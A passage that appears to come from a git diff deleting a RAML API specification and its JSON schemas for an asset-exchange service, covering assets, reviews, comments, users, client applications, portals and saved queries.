application/json: - example: !include examples/pages.json - schema: !include schemas/pages.json - - - users: - usage: Use this resourceType to represent a collection of users - description: A collection of pages - get: - securedBy: [oauth_2_0] - description: Get users for an organization - queryParameters: - search: - displayName: Search - type: string - description: Filter results that partially match the input with the asset name - example: "My example" - limit: - displayName: Limit - type: number - description: Amount of objects retrieved in the response - example: 10 - offset: - displayName: Offset - type: number - description: The offset specifies the offset of the first row to return - example: 1 - responses: - 200: - body: - application/json: - schema: !include schemas/users.json - example: !include examples/users.json - - - reviews: - usage: Use this resourceType to represent a collection of asset reviews - description: A collection of asset reviews - get: - securedBy: [oauth_2_0] - description: Get a list of reviews - queryParameters: - includeComments: - displayName: IncludeComments - type: boolean - description: Indicates to include comments or not in reviews - example: false - responses: - 200: - body: - application/json: - schema: !include schemas/reviews.json - example: !include examples/reviews.json - post: - securedBy: [oauth_2_0] - description: Creates a new asset review - body: - application/json: - schema: !include schemas/post-review-body.json - example: !include examples/post-review-body.json - responses: - 201: - body: - application/json: - schema: !include schemas/review.json - example: !include examples/review.json - - - review: - usage: Use this resourceType to represent any single review - description: A single asset review - patch: - securedBy: [oauth_2_0] - description: Edit an asset review - body: - application/json: - schema: !include schemas/patch-review-body.json - example: !include examples/patch-review-body.json - responses: - 200: - body: - application/json: - example: !include examples/review.json - delete: - securedBy: [oauth_2_0] - description: Deletes an specific asset review. - responses: - 204: - description: Review deleted - - - rating: - usage: Use this resourceType to represent the rating of an asset - description: Rating of asset - get: - securedBy: [oauth_2_0] - description: Get the asset rating - responses: - 200: - body: - application/json: - schema: !include schemas/rating.json - example: !include examples/rating.json - - - comments: - usage: Use this resourceType to represent a collection of an asset review comments - description: A collection of asset review comments - post: - securedBy: [oauth_2_0] - description: Creates a new review comment. - body: - application/json: - schema: !include schemas/post-review-comment-body.json - example: !include examples/post-review-comment-body.json - responses: - 201: - body: - application/json: - example: !include examples/review-comment.json - - - comment: - usage: Use this resourceType to represent the comment of an asset review - description: A single asset review comment - patch: - securedBy: [oauth_2_0] - description: Edit a comment - body: - application/json: - schema: !include schemas/patch-review-comment-body.json - example: !include examples/patch-review-comment-body.json - responses: - 200: - body: - application/json: - example: !include examples/review-comment.json - delete: - securedBy: [oauth_2_0] - description: Deletes an specific asset review comment. - responses: - 204: - description: comment deleted - - - assetUsers: - usage: Use this resourceType to represent a collection of users assigned to an asset - description: A collection of assigned asset users - get: - securedBy: [oauth_2_0] - description: Get users assigned to the asset - responses: - 200: - body: - application/json: - schema: !include schemas/asset-users.json - example: !include examples/asset-users.json - put: - securedBy: [oauth_2_0] - description: Assign users to an asset - body: - schema: !include schemas/assign-users.json - example: !include examples/assign-users.json - responses: - 204: - description: User assigned to the asset - - - clientApplications: - usage: Use this resourceType to represent a collection of client applications - description: A collection of client applications - get: - securedBy: [oauth_2_0] - description: List of client applications - queryParameters: - # these parameters were imported from consumersV1.raml from api-platform-api - includeContractsForApiVersion: - type: integer - description: This field is used to filter by API version - sort: - description: Property to sort by - type: string - ascending: - description: Order for sorting - type: boolean - query: - description: Search criteria - type: string - offset: - description: The offset specifies the offset of the first row to return. - type: number - limit: - description: Amount of objects retrieved in the response. - type: number - responses: - 200: - body: - application/json: - schema: !include schemas/client-applications.json - example: !include examples/client-applications.json - post: - securedBy: [oauth_2_0] - description: Adds a client application - body: - application/json: - example: !include examples/post-client-application-body.json - responses: - 200: - body: - application/json: - example: !include examples/post-client-application-response.json - - - contractCollection: - usage: Use this resourceType to represent a contract collection - description: A collection of contracts - get: - securedBy: [oauth_2_0] - description: Retrieves a list of applications with contracts with the application - queryParameters: - includeContractsForApiVersion: - type: integer - description: This field is used to filter by API version - responses: - 200: - body: - application/json: - schema: !include schemas/contracts.json - example: !include examples/contracts.json - post: - securedBy: [oauth_2_0] - description: Creates new contract between an API version and the application. - body: - application/json: - example: !include examples/post-contract.json - responses: - 201: - body: - application/json: - schema: !include schemas/contract.json - example: !include examples/post-contract-response.json - - - tiers: - usage: Use this resourceType to represent tiers - description: Tiers - get: - securedBy: [oauth_2_0] - description: Retrieves a list of tiers - responses: - 200: - body: - application/json: - schema: !include schemas/tiers.json - example: !include examples/tiers.json - - - queries: - usage: Use this resourceType to represent saved search queries - description: Saved search queries - get: - securedBy: [oauth_2_0] - description: Get saved searches queries - responses: - 200: - body: - application/json: - schema: !include schemas/search-queries.json - example: !include examples/search-queries.json - post: - securedBy: [oauth_2_0] - description: Create a new query by organization - body: - application/json: - schema: !include schemas/create-search-query.json - example: !include examples/search-query.json - responses: - 201: - body: - application/json: - example: !include examples/search-query.json - - - query: - usage: Use this resourceType to represent a saved search query - description: A saved search query - patch: - securedBy: [oauth_2_0] - description: Put a saved search query - body: - application/json: - schema: !include schemas/update-search-query.json - example: !include examples/search-query.json - responses: - 201: - body: - application/json: - example: !include examples/search-query.json - delete: - securedBy: [oauth_2_0] - description: Delete the query - responses: - 204: - description: Saved search query deleted - - -/ping: - displayName: Ping - description: Check API status - get: - responses: - 200: - body: - application/json: - example: | - { - "status": "ok" - } - -/health: - displayName: Health - get: - responses: - 200: - body: - application/json: - example: !include examples/health-response.json - -/profile: - displayName: Profile - description: User profile - get: - securedBy: [oauth_2_0] - description: Get user profile - responses: - 200: - body: - application/json: - example: !include examples/profile.json - -/organizations/{organizationId}: - displayName: Organizations - description: Organizations by id - uriParameters: - organizationId: - description: Id of an organization - type: string - maxLength: 36 - pattern: ^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$ - example: "e9326910-756d-abe0-e69e-a71d05412a6d" - - /queries: - displayName: Queries - type: queries - - /{queryId}: - displayName: Query - type: query - - /assets/{groupId}/{assetId}: - description: Assets by group and asset id - displayName: Group Asset - delete: - securedBy: [oauth_2_0] - is: [ deleteable ] - description: Delete asset - responses: - 204: - description: Asset deleted - 409: - description: There were conflicts while deleting - - /public: - description: Public assets - displayName: Public - get: - securedBy: [oauth_2_0] - description: Return the public asset versions - responses: - 200: - body: - application/json: - example: !include examples/public-versions.json - put: - securedBy: [oauth_2_0] - description: Set the public asset versions - body: - application/json: - schema: !include schemas/public-versions.json - example: !include examples/public-versions.json - - /users: - description: Users - displayName: Users - type: assetUsers - - /productApiVersion/{productApiVersion}: - description: Assets by product API version - displayName: API Version - uriParameters: - productApiVersion: - description: The id of the productApiVersion - type: string - example: "v1" - - /instances: - displayName: Instances - description: A collection of available environments for a product API version - - /{apiId}/tiers: - displayName: Tiers - description: A collection of the available SLA Tiers for a given environmentId/apiId - type: tiers - uriParameters: - apiId: - description: The id of the API - type: integer - - /external: - description: External instances - displayName: External - post: - securedBy: [oauth_2_0] - description: Creates a new external API instance - body: - application/json: - schema: !include schemas/post-API-instance-body.json - example: !include examples/post-API-instance-body.json - responses: - 201: - body: - application/json: - schema: !include schemas/API-instance.json - example: !include examples/API-instance.json - /{id}: - description: A single instance - displayName: Id - uriParameters: - id: - description: Id of the external instance - type: string - pattern: "^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$" - example: 7a7190da-29f3-451a-b2b2-ebd6f7e1f8ea - patch: - securedBy: [oauth_2_0] - description: Updates an existing external API instance - body: - application/json: - schema: !include schemas/patch-API-instance-body.json - example: !include examples/patch-API-instance-body.json - responses: - 404: - description: External instance not found - 204: - description: External instance updated - delete: - securedBy: [oauth_2_0] - description: Deletes an existing external API instance - responses: - 404: - description: External instance not found - 204: - description: External instance deleted - /managed: - /{id}: - description: A single managed instance - displayName: Managed - uriParameters: - id: - description: Id of the managed instance - type: string - example: '9897' - patch: - securedBy: [oauth_2_0] - description: Updates an existing managed API instance - body: - application/json: - schema: !include schemas/patch-API-instance-body.json - example: !include examples/patch-API-instance-body.json - responses: - 204: - description: Managed instance updated - 404: - description: External instance not found - - /reviews/search: - description: Reviews search - displayName: Reviews Search - post: - securedBy: [oauth_2_0] - queryParameters: - includeComments: - description: Include comments for reviews - type: boolean - description: Search for asset versions reviews - body: - application/json: - schema: !include schemas/post-search-versions-reviews-body.json - example: !include examples/post-search-versions-reviews-result-body.json - responses: - 200: - body: - application/json: - example: !include examples/reviews.json - /{version}: - description: Asset version - displayName: Version - delete: - securedBy: [oauth_2_0] - is: [ deleteable ] - description: Delete asset version - responses: - 204: - description: Asset version deleted - 409: - description: There were conflicts while deleting - /metadata: - description: Asset metadata - displayName: Metadata - patch: - securedBy: [oauth_2_0] - description: Update metadata - responses: - 204: - description: Metadata updated - body: - application/json: - schema: !include schemas/metadata.json - example: !include examples/patch-asset-metadata.json - /tags: - description: Asset tags - displayName: Tags - put: - securedBy: [oauth_2_0] - description: Update tags - responses: - 204: - description: Tags updated - body: - application/json: - schema: !include schemas/tags.json - example: !include examples/tags.json - - /portal: - description: Asset portal - displayName: Portal - type: portal - patch: - description: Publish draft version - responses: - 204: - description: Portal updated - 404: - description: Portal does not exist - 409: - description: There were conflicts while publishing - - /pages: - displayName: Pages - type: pages - /{+pagePath}: - displayName: Page - type: page - - /draft: - description: Asset portal draft - displayName: Portal Draft - type: portal - - /pages: - displayName: Pages - type: pages - post: - securedBy: [oauth_2_0] - is: [pagePoster] - responses: - 201: - description: Page created. - 409: - description: "Page already exists" - - /{+pagePath}: - description: A single page path - displayName: Page path - get: - securedBy: [oauth_2_0] - description: Get pages for an specific version of an asset - type: {editablePage: {type: "version of an asset"}} - - /reviews: - displayName: Reviews - type: reviews - - /{reviewId}: - displayName: Review - type: review - uriParameters: - reviewId: - description: Id of the review. It is a UUID. - type: string - pattern: "^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$" - example: 7a7190da-29f3-451a-b2b2-ebd6f7e1f8ea - - /comments: - displayName: Comments - type: comments - - /{commentId}: - displayName: Comment - type: comment - uriParameters: - commentId: - description: Id of the review comment. It is a UUID. - type: string - example: 7a7190da-29f3-451a-b2b2-ebd6f7e1f8ea - pattern: "^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$" - - /rating: - description: Asset rating - displayName: Rating - type: rating - /status: - description: Asset status - displayName: Status - put: - securedBy: [oauth_2_0] - description: Upserts asset's status. - body: - application/json: - schema: !include schemas/assetStatus.json - example: !include examples/assetStatus.json - responses: - 204: - description: Asset status successfully updated - - /groups: - description: Organization groups - displayName: Groups - get: - securedBy: [oauth_2_0] - description: Get eligible groupId's for given organizationId - responses: - 200: - body: - application/json: - example: | - [{ - "groupId": "obtained-group-id" - }] - -/assets: - displayName: Assets - type: assets - - post: - securedBy: [oauth_2_0] - description: Upload an asset. Its required to respect the order of the fields described - body: - multipart/form-data: - formParameters: - organizationId: - description: The target organization where the asset will be uploaded - required: true - type: string - groupId: - description: The groupId for the asset - required: true - type: string - assetId: - description: The assetId for the asset - required: true - type: string - version: - description: The version for the asset - required: true - type: string - name: - description: The name of the asset - required: true - type: string - classifier: - description: The classifier of the file that will be uploaded, it can be one of oas, wsdl, custom or http - required: true - type: string - apiVersion: - description: API version for when uploading an OAS or an HTTP - type: string - assetLink: - description: A link for an external source - type: string - asset: - description: The file to be uploaded - required: true - type: file - responses: - 201: - description: Asset created - - /{groupId}/{assetId}: - description: Assets by group and asset id - displayName: Group Asset - uriParameters: - groupId: - description: Id of group - type: string - assetId: - description: Id of asset - type: string - get: - securedBy: [oauth_2_0] - description: Get a particular asset by its id - responses: - 200: - body: - application/json: - schema: !include schemas/asset.json - example: !include examples/asset.json - - /users: - description: Asset users - displayName: Users - type: assetUsers - - /reviews/search: - description: Reviews search - displayName: Reviews Search - post: - securedBy: [oauth_2_0] - description: Search for asset versions reviews - queryParameters: - includeComments: - description: Include comments for reviews - type: boolean - body: - application/json: - schema: !include schemas/post-search-versions-reviews-body.json - example: !include examples/post-search-versions-reviews-result-body.json - responses: - 200: - body: - application/json: - example: !include examples/reviews.json - - /productAPIVersion/{productAPIVersion}: - description: Assets by product API version - displayName: API Version - uriParameters: - productAPIVersion: - description: The id of the productAPIVersion - type: string - get: - securedBy: [oauth_2_0] - description: Get the lastest version of the productAPIVersion - responses: - 200: - body: - application/json: - example: !include examples/asset.json - - /{groupId}/{assetId}/{version}: - description: Asset version - displayName: Version - uriParameters: - groupId: - description: Id of group - type: string - assetId: - description: Id of asset - type: string - version: - description: The id of the version - type: string - get: - securedBy: [oauth_2_0] - description: Get a particular version by its Id - responses: - 200: - body: - application/json: - example: !include examples/asset.json - - /reviews: - displayName: Reviews - type: reviews - - /{reviewId}: - displayName: Review - type: review - uriParameters: - reviewId: - description: Id of the review. It is a UUID. - type: string - pattern: "^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$" - example: 7a7190da-29f3-451a-b2b2-ebd6f7e1f8ea - - /comments: - displayName: Comments - type: comments - - /{commentId}: - displayName: Comment - type: comment - uriParameters: - commentId: - description: Id of the review comment. It is a UUID. - type: string - example: 7a7190da-29f3-451a-b2b2-ebd6f7e1f8ea - pattern: "^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$" - patch: - securedBy: [oauth_2_0] - description: Edit a comment - body: - application/json: - schema: !include schemas/patch-review-comment-body.json - example: !include examples/patch-review-comment-body.json - responses: - 200: - body: - application/json: - example: !include examples/review-comment.json - delete: - securedBy: [oauth_2_0] - description: Deletes an specific asset's review comment. - responses: - 204: - description: comment deleted - - /tags: - description: Asset tags - displayName: Tags - put: - securedBy: [oauth_2_0] - description: Update tags - responses: - 204: - description: Tags updated. - body: - application/json: - schema: !include schemas/tags.json - example: !include examples/tags.json - -/organizations/{organizationDomain}: - description: Organizations by domain - displayName: Organizations by domain - uriParameters: - organizationDomain: - description: Domain of a master organization - type: string - maxLength: 255 - example: some-domain - - /assets: - displayName: Assets - type: assets - - /{groupId}/{assetId}: - description: Assets by group and asset id - displayName: Group Asset - uriParameters: - groupId: - description: Id of group - type: string - assetId: - description: Id of asset - type: string - get: - securedBy: [oauth_2_0] - description: Get a particular asset by its id - responses: - 200: - body: - application/json: - schema: !include schemas/asset.json - example: !include examples/asset.json - - /{version}: - description: Asset version - displayName: Version - uriParameters: - version: - description: Version of Asset - type: string - get: - securedBy: [oauth_2_0] - description: Get a particular asset by its id - responses: - 200: - body: - application/json: - schema: !include schemas/asset.json - example: !include examples/asset.json - - /productAPIVersion/{productAPIVersion}: - description: Assets by product API version - displayName: API Version - uriParameters: - productAPIVersion: - description: API version of Asset - type: string - get: - securedBy: [oauth_2_0] - description: Get a particular asset by its id - responses: - 200: - body: - application/json: - schema: !include schemas/asset.json - example: !include examples/asset.json - - /portal: - description: Asset portal - displayName: Portal - get: - securedBy: [oauth_2_0] - description: Get a custom portal - responses: - 200: - body: - example: !include examples/portalCustomization.json - patch: - securedBy: [oauth_2_0] - description: Publish draft portal customization. Empty body - responses: - 204: - description: Portal updated - 404: - description: Custom portal does not exist - 409: - description: There were conflicts while publishing - - /pages/{+pageName}: - displayName: Page - type: page - - /draft: - description: Draft portal - displayName: Draft - delete: - securedBy: [oauth_2_0] - description: Deletes the draft portal - responses: - 204: - description: Draft portal deleted - 404: - description: Draft does not exist - get: - securedBy: [oauth_2_0] - description: Get a custom portal - responses: - 200: - body: - example: !include examples/portalCustomization.json - 404: - description: "Custom Portal does not exist" - put: - securedBy: [oauth_2_0] - description: Update custom portal - responses: - 204: - description: "custom portal updated" - 422: - description: "Customization Data is invalid" - body: - application/json: - example: !include examples/portalCustomizationUpdate.json - /pages: - displayName: Pages - post: - securedBy: [oauth_2_0] - is: [pagePoster] - responses: - 201: - description: Page created. - 409: - description: "Page already exists" - 422: - description: "Maximum page quantity exceeded" - /{+pageName}: - description: A single portal page - displayName: Page - type: {editablePage: {type: "custom draft"}} diff --git a/demo/exchange-experience-api/exchange.json b/demo/exchange-experience-api/exchange.json deleted file mode 100644 index 8693aae..0000000 --- a/demo/exchange-experience-api/exchange.json +++ /dev/null @@ -1 +0,0 @@ -{"main":"api.v1.raml","name":"Exchange Experience API","classifier":"raml","tags":[],"groupId":"f1e97bc6-315a-4490-82a7-23abe036327a.anypoint-platform","assetId":"exchange-experience-api","version":"1.0.3","apiVersion":"v1"} \ No newline at end of file diff --git a/demo/exchange-experience-api/schemas/API-instance.json b/demo/exchange-experience-api/schemas/API-instance.json deleted file mode 100644 index 4822ec8..0000000 --- a/demo/exchange-experience-api/schemas/API-instance.json +++ /dev/null @@ -1,51 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "required": [ - "id", "groupId", "assetId", "productApiVersion", "isPublic", "type", "endpointUri", "name" - ], - "properties": { - "id": { - "type": "string" - }, - "groupId": { - "type": "string", - "maxLength": 256 - }, - "assetId": { - "type": "string", - "maxLength": 256 - }, - "productApiVersion": { - "type": "string", - "maxLength": 128 - }, - "isPublic": { - "type": "boolean" - }, - "type": { - "enum": ["external", "managed", "mocked"] - }, - "endpointUri": { - "type": "string", - "maxLength": 2048 - }, - "name": { - "type": "string", - "maxLength": 150 - }, - "organizationId": { - "type": "string", - "maxLength": 256 - }, - "createdBy": { - "type": "string" - }, - "createdDate": { - "type": "string" - }, - "updatedDate": { - "type": "string" - } - } -} diff --git a/demo/exchange-experience-api/schemas/asset-users.json b/demo/exchange-experience-api/schemas/asset-users.json deleted file mode 100644 index ebf786f..0000000 --- a/demo/exchange-experience-api/schemas/asset-users.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "title": "List of users", - "type" : "array", - "items": { - "title": "User", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "username": { - "title": "Username", - "type": "string" - }, - "firstName": { - "title": "First Name", - "type": "string" - }, - "lastName": { - "title": "Last Name", - "type": "string" - }, - "profilePhoto": { - "title": "Profile photo", - "type": "string" - }, - "email": { - "title": "Email", - "type": "string" - }, - "role": { - "title": "Role Name", - "type": "string" - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/asset.json b/demo/exchange-experience-api/schemas/asset.json deleted file mode 100644 index 07cc0be..0000000 --- a/demo/exchange-experience-api/schemas/asset.json +++ /dev/null @@ -1,357 +0,0 @@ -{ - "title": "Asset", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "isPublic": { - "title": "isPublic", - "type": "boolean" - }, - "productAPIVersion": { - "title": "productAPIVersion", - "type": "string" - }, - "description": { - "title": "Description", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "type": { - "title": "Type", - "type": "string" - }, - "createdAt": { - "title": "Created at date", - "type": "string" - }, - "modifiedAt": { - "title": "Modified at date", - "type": "string" - }, - "runtimeVersion": { - "title": "runtimeVersion", - "type": "string" - }, - "assetLink": { - "title": "assetLink", - "type": "string" - }, - "icon": { - "title": "Icon", - "type": "string" - }, - "status":{ - "title": "Status", - "type": "string" - }, - "rating":{ - "title": "Rating", - "type": "number" - }, - "numberOfRates":{ - "title": "Number of rates", - "type": "integer" - }, - "versions":{ - "title": "Versions", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "muleVersionId": { - "title": "MuleVersion Id", - "type": "string" - } - } - } - }, - "tags":{ - "title": "Tags", - "type": "array", - "items": { - "type": "object", - "properties": { - "value": { - "title": "Value", - "type": "string" - }, - "key": { - "title": "Key", - "type": "string" - }, - "mutable": { - "title": "Mutable", - "type": "boolean" - } - } - } - }, - "dependencies":{ - "title": "Dependencies", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "muleVersionId": { - "title": "MuleVersion Id", - "type": "string" - }, - "type": { - "title": "Type", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - } - } - } - }, - "files": { - "title": "Files", - "type": "array", - "items": { - "type": "object", - "properties": { - "classifier": { - "title": "classifier", - "type": "string" - }, - "packaging": { - "title": "packaging", - "type": "string" - }, - "externalLink": { - "title": "External Link", - "type": "string" - }, - "md5": { - "title": "md5", - "type": "string" - }, - "createdDate": { - "title": "created date", - "type": "string" - } - } - } - }, - "instances": { - "title": "Instances", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "productAPIVersion": { - "title": "Product API Version", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "environmentId": { - "title": "Environment Id", - "type": "string" - }, - "endpointUri": { - "title": "Endpoint Uri", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "isPublic": { - "title": "Is public", - "type": "boolean" - }, - "type": { - "title": "Type", - "type": "string" - }, - "fullname": { - "title": "Full name", - "type": "string" - } - } - } - }, - "productAPIVersions": { - "title": "Product API Versions", - "type": "array", - "items": { - "type": "object", - "properties": { - "productAPIVersion": { - "title": "Product API Version", - "type": "string" - }, - "versions": { - "title": "Versions", - "type": "array" - } - } - } - }, - "metadata": { - "title": "Metadata", - "type": "object", - "properties": { - "productApiVersion": { - "title": "Product API Version", - "type": "string" - } - } - }, - "createdBy": { - "title": "Created by", - "type": "object", - "properties": { - "firstName": { - "title": "First Name", - "type": "string" - }, - "lastName": { - "title": "Last Name", - "type": "string" - }, - "username": { - "title": "Username", - "type": "string" - }, - "profilePhoto": { - "title": "Profile Photo", - "type": "string" - } - } - }, - "permissions": { - "title": "Permissions", - "type": "array", - "items": { - "type": "string" - } - }, - "organization": { - "title": "Organization", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "domain": { - "title": "Domain", - "type": "string" - }, - "createdAt": { - "title": "Created at", - "type": "string" - }, - "updatedAt": { - "title": "Updated at", - "type": "string" - }, - "ownerId": { - "title": "Owner Id", - "type": "string" - }, - "clientId": { - "title": "Client ID", - "type": "string" - }, - "idprovider_id": { - "title": "Provider Id", - "type": "string" - }, - "isFederated": { - "title": "Is Federated", - "type": "boolean" - }, - "parentOrganizationIds": { - "title": "Parent Organization ids", - "type": "array" - }, - "subOrganizationIds": { - "title": "Sub organization Ids", - "type": "array" - }, - "tenantOrganizationIds": { - "title": "Tentant organization ids", - "type": "array" - }, - "isMaster": { - "title": "Is master", - "type": "boolean" - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/assetStatus.json b/demo/exchange-experience-api/schemas/assetStatus.json deleted file mode 100644 index df4b56e..0000000 --- a/demo/exchange-experience-api/schemas/assetStatus.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "status": { - "type": "string", - "enum": ["published", "deprecated"] - } - }, - "required": [ - "status" - ] -} diff --git a/demo/exchange-experience-api/schemas/assets.json b/demo/exchange-experience-api/schemas/assets.json deleted file mode 100644 index 1e8ea16..0000000 --- a/demo/exchange-experience-api/schemas/assets.json +++ /dev/null @@ -1,361 +0,0 @@ -{ - "title": "List of assets", - "type" : "array", - "items":{ - "title": "Asset", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "isPublic": { - "title": "isPublic", - "type": "boolean" - }, - "productAPIVersion": { - "title": "productAPIVersion", - "type": "string" - }, - "description": { - "title": "Description", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "type": { - "title": "Type", - "type": "string" - }, - "createdAt": { - "title": "Created at date", - "type": "string" - }, - "modifiedAt": { - "title": "Modified at date", - "type": "string" - }, - "runtimeVersion": { - "title": "runtimeVersion", - "type": "string" - }, - "assetLink": { - "title": "assetLink", - "type": "string" - }, - "icon": { - "title": "Icon", - "type": "string" - }, - "status":{ - "title": "Status", - "type": "string" - }, - "rating":{ - "title": "Rating", - "type": "number" - }, - "numberOfRates":{ - "title": "Number of rates", - "type": "integer" - }, - "versions":{ - "title": "Versions", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "muleVersionId": { - "title": "MuleVersion Id", - "type": "string" - } - } - } - }, - "tags":{ - "title": "Tags", - "type": "array", - "items": { - "type": "object", - "properties": { - "value": { - "title": "Value", - "type": "string" - }, - "key": { - "title": "Key", - "type": "string" - }, - "mutable": { - "title": "Mutable", - "type": "boolean" - } - } - } - }, - "dependencies":{ - "title": "Dependencies", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "muleVersionId": { - "title": "MuleVersion Id", - "type": "string" - }, - "type": { - "title": "Type", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - } - } - } - }, - "files": { - "title": "Files", - "type": "array", - "items": { - "type": "object", - "properties": { - "classifier": { - "title": "classifier", - "type": "string" - }, - "packaging": { - "title": "packaging", - "type": "string" - }, - "externalLink": { - "title": "External Link", - "type": "string" - }, - "md5": { - "title": "md5", - "type": "string" - }, - "createdDate": { - "title": "created date", - "type": "string" - } - } - } - }, - "instances": { - "title": "Instances", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "productAPIVersion": { - "title": "Product API Version", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "environmentId": { - "title": "Environment Id", - "type": "string" - }, - "endpointUri": { - "title": "Endpoint Uri", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "isPublic": { - "title": "Is public", - "type": "boolean" - }, - "type": { - "title": "Type", - "type": "string" - }, - "fullname": { - "title": "Full name", - "type": "string" - } - } - } - }, - "productAPIVersions": { - "title": "Product API Versions", - "type": "array", - "items": { - "type": "object", - "properties": { - "productAPIVersion": { - "title": "Product API Version", - "type": "string" - }, - "versions": { - "title": "Versions", - "type": "array" - } - } - } - }, - "metadata": { - "title": "Metadata", - "type": "object", - "properties": { - "productApiVersion": { - "title": "Product API Version", - "type": "string" - } - } - }, - "createdBy": { - "title": "Created by", - "type": "object", - "properties": { - "firstName": { - "title": "First Name", - "type": "string" - }, - "lastName": { - "title": "Last Name", - "type": "string" - }, - "username": { - "title": "Username", - "type": "string" - }, - "profilePhoto": { - "title": "Profile Photo", - "type": "string" - } - } - }, - "permissions": { - "title": "Permissions", - "type": "array", - "items": { - "type": "string" - } - }, - "organization": { - "title": "Organization", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "domain": { - "title": "Domain", - "type": "string" - }, - "createdAt": { - "title": "Created at", - "type": "string" - }, - "updatedAt": { - "title": "Updated at", - "type": "string" - }, - "ownerId": { - "title": "Owner Id", - "type": "string" - }, - "clientId": { - "title": "Client ID", - "type": "string" - }, - "idprovider_id": { - "title": "Provider Id", - "type": "string" - }, - "isFederated": { - "title": "Is Federated", - "type": "boolean" - }, - "parentOrganizationIds": { - "title": "Parent Organization ids", - "type": "array" - }, - "subOrganizationIds": { - "title": "Sub organization Ids", - "type": "array" - }, - "tenantOrganizationIds": { - "title": "Tentant organization ids", - "type": "array" - }, - "isMaster": { - "title": "Is master", - "type": "boolean" - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/assign-users.json b/demo/exchange-experience-api/schemas/assign-users.json deleted file mode 100644 index a9d9c0b..0000000 --- a/demo/exchange-experience-api/schemas/assign-users.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "title": "List of user assignments", - "type" : "array", - "items": { - "title": "User assignment", - "type": "object", - "required": ["userId", "role"], - "properties": { - "userId": { - "title": "User Id", - "type": "string" - }, - "role": { - "title": "Role Name", - "type": "string" - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/client-applications.json b/demo/exchange-experience-api/schemas/client-applications.json deleted file mode 100644 index 6a64a7b..0000000 --- a/demo/exchange-experience-api/schemas/client-applications.json +++ /dev/null @@ -1,86 +0,0 @@ -{ - "title": "Client Applications", - "type": "array", - "items": { - "title": "Client Application", - "type": "object", - "properties": { - "masterOrganizationId": { - "type": "string", - "title": "Master organization id" - }, - "id": { - "type": "integer", - "title": "Id" - }, - "name": { - "type": "string", - "title": "Name" - }, - "description": { - "type": "string", - "title": "Description" - }, - "grantTypes": { - "type": "array", - "title": "Grant Types" - }, - "redirectUri": { - "type": "array", - "title": "Redirect Uri" - }, - "contract": { - "title": "Contracts", - "type": "object", - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "status": { - "type": "string", - "title": "Status" - }, - "tier": { - "type": "object", - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "name": { - "type": "string", - "title": "Name" - }, - "description": { - "type": ["null", "string"], - "title": "Description" - }, - "limits": { - "title": "Limits", - "type": "array", 